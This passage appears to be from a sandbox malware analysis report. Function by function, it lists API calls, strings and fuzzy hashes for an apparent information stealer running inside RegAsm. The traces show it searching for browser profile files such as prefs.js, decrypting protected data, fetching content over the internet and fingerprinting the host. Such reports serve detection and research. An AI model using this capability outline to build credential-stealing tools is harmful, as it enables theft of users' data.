StrCmpCA.SHLWAPI(?,00420F80), ref: 00413A2E
FindNextFileA.KERNEL32(000000FF,?), ref: 00413B7C
FindClose.KERNEL32(000000FF), ref: 00413B91

Strings

%s\%s, xrefs: 004139C7

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: 8dd7ffa64ac57a07e3e009aff93f05e5f75dbf076beb75024cdc8b37be35a72c
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

prefs.js, xrefs: 0040F652

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: 7ebbe7cd5ae137c84f6db4280ba686d5fb98fb500678c966dc28e9bd808766c2
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 13.8, APIs: 9, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID:
API String ID: 3334442632-0
Opcode ID: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: 9f70424f6231f11fb0d5a48a1b83654233540cff257d080df1dc6a4574cdc3e8
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 0040E270 Relevance: 12.8, APIs: 4, Strings: 3, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

\*.*, xrefs: 0040E28D
.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E
XD, xrefs: 0040E442

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$XD$\*.*
API String ID: 433455689-1221061263
Opcode ID: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 7539e1dafe2576d0ec3c7b90cf75903e9b92a90f1f4aa7dc7cae274ad1b404d6
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: 6aa4e4764504baa45ad82d2a162e469cf3d52142c6fc492667b66ae45fd2a33c
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 00401710 Relevance: 11.0, APIs: 5, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: \*.*
API String ID: 3334442632-1173974218
Opcode ID: 5f8fad25b93f4c1a1714bd2bd86851a401257f264349a53572a31b8194dbb601
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: 5f8fad25b93f4c1a1714bd2bd86851a401257f264349a53572a31b8194dbb601
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 8c7534a5aa430826be94db3af5ff16ec8bded031094cfbd263b1c09c86117a76
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,00EC1958,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,00EC1958,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,00EC1958,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000500000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000587000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005A7000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000005AD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 0000000B.00000002.2357745692.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000B.00000002.2357745692.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000B.00000002.2357745692.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
